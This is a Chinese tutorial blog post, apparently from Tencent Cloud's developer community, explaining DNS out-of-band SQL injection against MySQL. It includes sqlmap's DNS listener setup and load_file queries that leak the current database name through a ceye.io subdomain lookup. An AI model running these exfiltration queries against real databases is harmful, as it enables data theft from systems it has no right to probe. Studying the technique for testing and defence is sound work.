前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DNS注入原理解析(待整理)

DNS注入原理解析(待整理)

作者头像
全栈工程师修炼指南
发布2022-09-28 21:32:33
7600
发布2022-09-28 21:32:33
举报

为什么要使用DNS注入?

盲注跑数据太慢的情况下,选择DNS注入是一个好办法

DNS注入的原理?

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小

DNS 注入场景

1) 数据库注入

数据库在配置中允许域名解析时,到数据库中查看:

show variables like ‘skip_name_resolve’;

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve 为off时会进行域名解析

情况一:

1.首先我们服务器上安装sqlmap

发现服务器已有2.6的python环境了 ▼

直接pip install sqlmap,安装sqlmap▼

  1. 接着上个步骤

找到sqlmap根目录 下的dns.py

cd/usr/lib/python2.6/site-packages/sqlmap/lib/request/

注释:

dns.py

它的作用是监听53端口,先给它一个执行权限,+x

注:这里笔者给了最大权限

chmod 777 dns.py

在mysql命令行执行

select load_file(“\\xxx.zka7.xyz\txf”);

\\ 经过传输后会变成\

txf是域名的下级目录,可以随便构造

执行后服务器就会有数据包(xxx.zka7.xyz)出现

  1. Sqlmap的自动化实现
  2. 在sqlmap中实现DNS注入加上参数–dns-domain=域名
  3. 服务器安装好sqlmap后运行dns.py

即可实现自动化

情况二: 不买域名也不买服务器

如何能在不想买域名也不想买服务器的情况下也玩一波DNS注入呢?

其实有现成的服务:http://ceye.io

有一个分配给你的二级域名▲

在数据库中输入

select load_file(“\\tangxiaofeng.1odz7u.ceye.io\aaa”);

可以看到tangxiaofeng这个帅气的名字▲

试一下拼接:

首先本地选择一个表 use sqltest;

接着 select load_file(concat(“\\“,(select database()),”.1odz7u.ceye.io\txf”));

注:这里的sqltest是笔者自己建的表

database 出来了

本文参与?腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-08-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客?前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • DNS 注入场景
    • 1) 数据库注入
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
    http://www.vxiaotou.com